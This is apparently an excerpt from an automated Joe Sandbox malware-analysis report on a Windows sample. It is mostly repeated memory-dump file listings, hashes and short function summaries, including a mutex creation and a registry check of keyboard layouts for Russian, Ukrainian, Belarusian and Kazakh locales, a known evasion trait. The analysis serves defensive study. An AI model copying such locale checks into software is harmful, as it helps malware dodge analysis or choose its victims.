Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$VUUU$invalid stoi argument$stoi argument out of range
API String ID: 3677997916-1112634906
Opcode ID: 029469b432ad331e3c8cc45c8edb870751262fea00cc74b30b056d08c559b72b
Instruction ID: afeab8b564cda99bbac9073b2a5a997a716a68261645c2d83e674d610bdf7e86
Opcode Fuzzy Hash: 029469b432ad331e3c8cc45c8edb870751262fea00cc74b30b056d08c559b72b
Instruction Fuzzy Hash: 8DC2F171A001589BDF28DF68CC85BDDB775EF48304F104299E419E73D2EB39AA94CBA1

Function 007D735A Relevance: 2.5, APIs: 1, Instructions: 1031
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: ConditionVariableWake
String ID:
API String ID: 1192502693-0
Opcode ID: 105da7c8c6b6eaec24094493de75c2e7f97bee476411ce71c7b828a4d89e7e89
Instruction ID: 1b649c1d959cffa4243fbfa47e4669339c03d40011ca0eee855a4c52755d15c7
Opcode Fuzzy Hash: 105da7c8c6b6eaec24094493de75c2e7f97bee476411ce71c7b828a4d89e7e89
Instruction Fuzzy Hash: 7D724871A00284DBEB1CDF68CC8AB9D7B75EB45314F508659F815A73C2EB3D9A80C791

Function 0080652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0080652A,?,?,?,?,?,00807661), ref: 00806567

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 89e3bd6b2bc1fba0d785ac241bb308436fef4bace559593c9b1c8e2bbe280db8
Instruction ID: 46fd2e8c58d3460c75b54c3bfc903dc2064f5742b9fd8ad559d72c4d8d643574
Opcode Fuzzy Hash: 89e3bd6b2bc1fba0d785ac241bb308436fef4bace559593c9b1c8e2bbe280db8
Instruction Fuzzy Hash: 33E08C30040608AECEA5BB18CCA9E8A3B29FF01795F101800F80986266DB25EDA1C691

Function 04EA0CEE Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2510695247.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4ea0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d533d826d3b913ef645fbfcd454e96cc7a6018c302dd72b71f8c46ad16aef5d1
Instruction ID: 76f197b75a78ec48969d1919b191687b13724bfc4b351cdf83d68f42adf128a1
Opcode Fuzzy Hash: d533d826d3b913ef645fbfcd454e96cc7a6018c302dd72b71f8c46ad16aef5d1
Instruction Fuzzy Hash: EAF036EB2D81107EE05259852B186F6AB5EF2D72703319527F403D9943B2D83A7D7131

Function 007D5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

Keyboard Layout\Preload, xrefs: 007D6054
0000043f, xrefs: 007D612B
00000422, xrefs: 007D60C9
00000419, xrefs: 007D6098
00000423, xrefs: 007D60FA

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 5330da86684141e10151a10cdab4cf99151d552aecf846473b26d916658df741
Instruction ID: d8557aa0e5e074dd1d4eb13b99ca0310172da0069157b732f1674173aabf2dd0
Opcode Fuzzy Hash: 5330da86684141e10151a10cdab4cf99151d552aecf846473b26d916658df741
Instruction Fuzzy Hash: F6F1D170900258DBEB24DF58CC85BDEBBB9EF44304F5046A9F518A7381DB78AA94CF91

Function 007D9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007DA963
CreateMutexA.KERNEL32(00000000,00000000,00833254), ref: 007DA981

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
